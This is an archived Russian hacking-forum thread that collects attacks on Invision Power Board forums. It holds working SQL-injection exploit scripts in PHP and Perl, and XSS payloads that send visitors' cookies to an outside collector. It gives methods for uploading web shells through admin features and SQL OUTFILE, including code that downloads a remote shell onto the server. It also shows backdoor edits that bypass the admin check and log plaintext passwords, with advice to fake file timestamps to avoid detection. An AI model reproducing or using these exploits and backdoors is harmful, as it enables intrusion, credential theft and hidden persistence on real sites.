Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|

26.10.2008, 13:55
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
[Обзор уязвимостей IPB]
В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике.
Здесь выкладываем только уязвимости форума Invision Power Board
Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках:
[Задай Вопрос - Получи Ответ]
https://forum.antichat.ru/thread80624.html
Раздел: Просьбы о взломах
https://forum.antichat.ru/forum44.html
Так-же рекоммендуется к прочтению:
[Заливка шелла в Форуме]
https://forum.antichat.ru/thread76949.html
IPB 2.1.7 passive XSS
https://forum.antichat.ru/threadnav23405-1-10.html
sql-inj в ipb <=2.1.7
http://forum.antichat.ru/threadnav25088-1-10.html
Invision Power Board 2.1.7 Exploit
http://forum.antichat.ru/threadnav57362-1-10.html
Правила раздела!
https://forum.antichat.ru/thread39445.html
При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна
Последний раз редактировалось jokester; 26.10.2008 в 19:57..
|
|
|
[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов. |

26.10.2008, 14:58
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов.
Автор k1b0rg
Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов:
1.Определение версии форума.
2.Взлом форума.
3.Закачака шелла и использование админки.
4."Трояним" форум.
(1)Определяем версию
1.3
присутсвует папки:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
присутсвтуют файлы
ssi.php
show.php
css.php
conf_mime_types.php
2.0.*
файлы:
/sources/help.php
/sources/usercp.php
/sources/trial_functions.php
/sources/topics.php
/sources/taskloader.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: Invision Power Board -> Forbidden
2.1.*
Присутсвуют папка
/ips_kernel/PEAR/
присутствует файлы:
info.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: IBForums-> Forbidden
(2)А теперь займемся взломом
Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку
каждый вид взлома:
1) sql инъекция
Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее.
затем качаем сплойты
http://milw0rm.com/id.php?id=1036
http://milw0rm.com/id.php?id=1013
http://milw0rm.com/id.php?id=648
http://www.web-hack.ru/exploit/source/r57ipb2.txt
в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char);
разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова.
Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0
где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума
(0- 1.3; 1- 2.0.*)
Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен.
Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html
читаем еще здесь
http://www.securitylab.ru/vulnerability/205468.php
http://www.securitylab.ru/vulnerability/204662.php
http://www.securitylab.ru/vulnerability/203717.php
http://www.securitylab.ru/vulnerability/203105.php
http://www.securitylab.ru/vulnerability/202735.php
http://www.securitylab.ru/vulnerability/201944.php
http://www.securitylab.ru/vulnerability/202802.php
http://www.securitylab.ru/vulnerability/205603.php
2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме
[ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
[HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor][color=wh*ite]` style=`backg*round:url(javascript:docu*ment.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]
[EMA*IL]mail@mail.com[U*RL=target/*style=background:url(javasc*ript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/U*RL][/EM*AIL]
[po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]
[em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
[COLOR=[IМG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)
[еm*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`
[EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`
[HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/URL][/EMA*IL][/color]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`
Воруем куки, подделываем их(лучше всего под Opera, или CookieEditor), но в админку мы не зайдем, незная пароль(даже если будет хеш), В АДМИНКУ МОЖНО ЗАЙТИ ТОКА ЗНАЯ ПАРОЛЬ!
(3)Заливаем шелл.
ipb 1.3
заходим под админом(как стать админом уже много раз обсуждалось)
Далее заходим в "Administration(Администрирование )" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии:
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.
ipb 2.*
заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл.
Скачиваем базу данных.
Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим).
Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо.
(4)"ТРОЯНИМ" форум.
А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)
ipb 1.3
PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated = 1;
$this_session = $row;
}
и заменяем на
PHP код:
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{
$session_validated = 1;
$this_session = $row;
}
и ищим строчки (по дефолту 442 строчка)
PHP код:
if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------
$sess_id = md5( uniqid( microtime() ) );
заменяем соотвественно на
PHP код:
if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] = 1)
{
//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------
$sess_id = md5( uniqid( microtime() ) );
потом ползем в файл /sources/Admin/ad_mysql.php и удаляем строки
PHP код:
if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");
}
ipb 2.*
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
PHP код:
if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else
{
и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
PHP код:
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}
потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
PHP код:
$this->ipsclass->admin_session['_session_validated'] = 0;
на
PHP код:
$this->ipsclass->admin_session['_session_validated'] = 1;
потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
PHP код:
if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");
}
А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}
то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200310240921
где 2003 год 10 месяц 24 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.
PS Материал востановлен
Дата публикации: 11.12.2005, 02:16.
Автор k1b0rg .
Были внесены изменения по оформлению, и изменены некоторые линки на рабочие
Последний раз редактировалось jokester; 26.10.2008 в 15:09..
|
|
|

26.10.2008, 15:16
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
залитие шела
Автор ShAnKaR
залитие шела в ipb 1.3.* через шаблоны
вроде ни где не освещалась эта тема, если было то удалите.
иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны.
идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон
открываем и изменяем начальный кусок кода например на :
Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,skins@invisionboard.com,http://www.invisionboard.com-->
<!-- PLEASE LEAVE ALL 'IBF' COMMENTS IN PLACE, DO NOT REMOVE THEM! -->
<!--IBF_GROUP_START:skin_boards-->
<!--IBF_START_FUNC|whoschatting_show|$total, $names, $link, $txt-->
<tr>
<td class='pformstrip' colspan='2'>{$total} {ibf.lang.whoschatting_total} <a href='$link'>{ibf.lang.whoschatting_loadchat}</a></td>
</tr>
<tr>
<td width="5%" class='row2'><{F_ACTIVE}></td>
<td class='row4' width='95%'>
{$names}<div class='desc' style='margin-top:5px'>$txt</div>
</td>
</tr>
EOF;
}}
eval($_GET[ww]);
exit;
function testcccc(){
function whoschatting_show($total, $names, $link, $txt) {
global $ibforums;
return <<<EOF
<!--IBF_END_FUNC|whoschatting_show-->
далее заливаем как новый шаблон, и идем в http://localhost/upload/Skin/s2/skin_boards.php?ww=phpinfo();
может быть и не s2- цифра в зависимости от номера шаблона
PS Материал востановлен
Дата публикации: 21.01.2007, 23:21
Автор ShAnKaR
Последний раз редактировалось jokester; 26.10.2008 в 15:19..
|
|
|
SQL-inj в админке IPB 2.1.7 |

26.10.2008, 15:27
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
SQL-inj в админке IPB 2.1.7
Автор: KPOT_f!nd
Вот еще бага IPB 2.1.7
admin.php?adsess=тут ваша сессия админская§ion=tools&act=op&code=setti nggroup_showedit&id=
-1%20union%20select%201,1,1,1,1,converge_pass_hash% 20from%20whb_members_converge%20where%20converge_i d=1
аффтор баги: creatorzzz
PS Материал востановлен
Дата публикации: 19.01.2007, 05:47
Автор KPOT_f!nd
|
|
|

26.10.2008, 15:30
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
залитие шела
Автор ShAnKaR
инклуд локального файла в ipb 1.3 естественно если есть доступ в админку
идем в панельку для mysql и делаем запрос :
INSERT INTO `ipb_languages` (`lid`, `ldir`, `lname`, `lauthor`, `lemail`) VALUES ('5',concat('../../../../../../../../../tmp/1.php',char(0)), 'test', NULL, NULL);
потом идем по адресу
http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5
и смотрим че получилось, вроде ни где такое еще не упоминалось
P.S. локальный файл должен быть доступен для записи
PS Материал востановлен
Дата публикации: 29.01.2007, 23:17
Автор ShAnKaR
|
|
|
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit |

26.10.2008, 15:36
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
Автор Dimon_Aka_Sexxx
Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
PHP код:
<?php
/*
Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator
This works if:
"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on
In General Configuration of the forum software.
*/
// The forum's address up to and including 'index.php'
$site = "http://localhost/forums/index.php";
// An existing user's login name
$name = "admin";
// The new password(3-32 characters)
$pass = "1234";
// You can use a proxy...
// $proxy = "1.2.3.4:8080";
// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "&debug=1";
$curl = curl_init($site.'act=Reg&CODE=10'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode)) {
echo "Error: Probably not vulnerable, or no forum found";
exit;
}
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}®id={$regid}®_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
function change_pass($regcode,$regid,$vid,$userid) {
global $site, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}®id={$regid}®_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?>
PS Материал востановлен
Дата публикации: 30.01.2007, 10:08
Автор Dimon_Aka_Sexxx
|
|
|

26.10.2008, 15:57
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
протроянивание
Автор VampiRUS
Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
PHP код:
if ( $this->han_login->return_code != 'SUCCESS' )
{
$this->log_in_form( 'wrong_auth' );
}
после них записываем:
PHP код:
$ppass=$this->ipsclass->input['PassWord'];
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')");
и для того чтоб пользователям пришлось вводить пароль, а не пользовались автовходом, удаляем их сессии:
UPDATE ibf_members set member_login_key='1'
и
очистить таблицу ibf_sessions.
PS Материал востановлен
Дата публикации: 09.04.2007, 13:52
Автор VampiRUS
|
|
|
Ipb 2.1.7 [PDF] Активная Xss |

26.10.2008, 16:00
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Ipb 2.1.7 [PDF] Активная Xss
Автор md5f1h
Активная XSS
На 2.1.7 проверял на ост нет...
Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie
Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7
PS Материал востановлен
Дата публикации: 29.04.2007, 17:28
Автор md5f1h
|
|
|

26.10.2008, 17:00
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
залитие шела
Автор _GaLs_
1. "Administration(Администрирование )"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)"
Обычно шелл грузится, если не включен SAFE MODE и хватает прав
* /forum/style_emoticons/default/shell.php
где default выбраная папка для загрузки shell.php имя вашего загруженного шелла.
Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.
Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.
Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.
2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла"
phtml
application/octet-stream
выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да.
идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше.
после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл.
3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем:
CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`); SELECT `shl` FROM `ibf_shell` INTO OUTFILE `путь/имяфайла.php` DROP TABLE `ibf_shell`
--------------------------------------------------------------------
Примечание Grey'я:
--------------------------------------------------------------------
Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется.
Можно более прямо составить запрос (вывести произвольную строку в файл):
select '<?php system($a); ?>' into outfile 'абсолютный путь до форума/forum/uploads/1.php';
т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись.
--------------------------------------------------------------------
--------------------------------------------------------------------
4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:
PHP код:
$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/
uploads/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);
Узнаем полный путь к uploads:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
обычно этот путь указывается.
--------------------------------------------------------------------
--------------------------------------------------------------------
PS Материал востановлен
Дата публикации: 24.05.2007, 09:31
Автор _GaLs_
|
|
|

26.10.2008, 17:08
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Уязвимости Модов IPB
Автор _GaLs_
Уязвимости Модов IPB
Army System
SQL Injection Exploit
PHP код:
<?php
/* --------------------------- EXPLOIT ---------------------------
Invision Power Board Army System Mod 2.1 SQL Injection Exploit
Tested on: Latest version (2.1.0)
Discovered on: 06.02.2006 by Alex & fRoGGz
Credits to: SecuBox Labs
PLEASE READ THIS !
The query of the SQL Injection depends about the number of fields in the sql table
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army
System Mod 2.1 installed
IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
$target = "http://site.com/forums/"; // <--- Where ?
$prefix = "ibf_"; // <--- SQL prefix ?
$id = 1; // <--- Who ?
print_r(get_infos($target,$prefix,$id));
if(!get_infos($target,$prefix,$id)) echo "failed";
function get_infos($target,$prefix,$id) {
$inject = "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,";
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1,1,1,NULL,NULL,";
$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL, NULL,NULL,NULL,";
$inject.= "NULL+FROM+".$prefix."members+WHERE+id=";
$filename = $target . $inject . $id;
$handle = fopen ($filename, "r");
$infos = array();
if (feof($handle)) { continue 2; }
if ( $handle ) {
while ( ($buffer = fgets( $handle )) )
{
if ( strpos( $buffer, "<td class='pformleft' width=\"35%\">Name</td>") ) {
$infos['md5'] = strip_tags ( fgets( $handle) );
break;
}
}
}
fclose ($handle);
if (count($infos) == 1) return $infos;
return false;
}
?>
D2-Shoutbox [версия 4.2]
SQL Injection Exploit
PHP код:
#!/usr/bin/perl
################################################## #######
# _______ _______ ______ #
# |______ |______ | \ #
# ______| |______ |_____/ #
# #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection #
#Created By SkOd #
#SED security Team #
#http://www.sed-team.be #
#skod.uk@gmail.com #
#ISRAEL #
################################################## #######
#google:
#"Powered By D2-Shoutbox 4.2"
################################################## #######
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid = $ARGV[3];
$pid = $ARGV[4];
$type = $ARGV[5];
sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id= ".$user."/*";
$path = $ARGV[1].$sql;
}
sub header()
{
print q{
################################################## #####################
### D2-Shoutbox 4.2 SQL injection Exploit ###
### Tested On D2-Shoutbox 4.2 And IPB 2.4 ###
### Created By SkOd, Sed Security Team ###
################################################## #####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
################################################## #####################
}
}
sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}
if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
Remote SQL Injection Exploit
PS Материал востановлен
Дата публикации: 24.05.2007, 16:56
Автор _GaLs_
Последний раз редактировалось jokester; 27.10.2008 в 09:05..
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|